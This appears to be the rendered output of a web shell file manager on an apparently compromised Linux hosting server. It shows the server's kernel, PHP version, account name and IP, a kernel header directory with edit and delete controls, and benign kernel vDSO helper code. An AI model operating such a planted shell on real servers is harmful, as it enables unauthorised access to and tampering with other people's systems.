[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.64.1.el8_10.x86_64
/
include
/
vdso
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 bits.h
171 B
SET
[ EDIT ]
|
[ DEL ]
📄 clocksource.h
479 B
SET
[ EDIT ]
|
[ DEL ]
📄 const.h
196 B
SET
[ EDIT ]
|
[ DEL ]
📄 datapage.h
4,219 B
SET
[ EDIT ]
|
[ DEL ]
📄 helpers.h
1,299 B
SET
[ EDIT ]
|
[ DEL ]
📄 jiffies.h
298 B
SET
[ EDIT ]
|
[ DEL ]
📄 ktime.h
454 B
SET
[ EDIT ]
|
[ DEL ]
📄 limits.h
564 B
SET
[ EDIT ]
|
[ DEL ]
📄 math64.h
468 B
SET
[ EDIT ]
|
[ DEL ]
📄 processor.h
251 B
SET
[ EDIT ]
|
[ DEL ]
📄 time.h
190 B
SET
[ EDIT ]
|
[ DEL ]
📄 time32.h
287 B
SET
[ EDIT ]
|
[ DEL ]
📄 time64.h
389 B
SET
[ EDIT ]
|
[ DEL ]
📄 vsyscall.h
288 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: helpers.h
/* SPDX-License-Identifier: GPL-2.0 */ #ifndef __VDSO_HELPERS_H #define __VDSO_HELPERS_H #ifndef __ASSEMBLY__ #include <vdso/datapage.h> static __always_inline u32 vdso_read_begin(const struct vdso_data *vd) { u32 seq; while (unlikely((seq = READ_ONCE(vd->seq)) & 1)) cpu_relax(); smp_rmb(); return seq; } static __always_inline u32 vdso_read_retry(const struct vdso_data *vd, u32 start) { u32 seq; smp_rmb(); seq = READ_ONCE(vd->seq); return seq != start; } static __always_inline void vdso_write_begin(struct vdso_data *vd) { /* * WRITE_ONCE it is required otherwise the compiler can validly tear * updates to vd[x].seq and it is possible that the value seen by the * reader it is inconsistent. */ WRITE_ONCE(vd[CS_HRES_COARSE].seq, vd[CS_HRES_COARSE].seq + 1); WRITE_ONCE(vd[CS_RAW].seq, vd[CS_RAW].seq + 1); smp_wmb(); } static __always_inline void vdso_write_end(struct vdso_data *vd) { smp_wmb(); /* * WRITE_ONCE it is required otherwise the compiler can validly tear * updates to vd[x].seq and it is possible that the value seen by the * reader it is inconsistent. */ WRITE_ONCE(vd[CS_HRES_COARSE].seq, vd[CS_HRES_COARSE].seq + 1); WRITE_ONCE(vd[CS_RAW].seq, vd[CS_RAW].seq + 1); } #endif /* !__ASSEMBLY__ */ #endif /* __VDSO_HELPERS_H */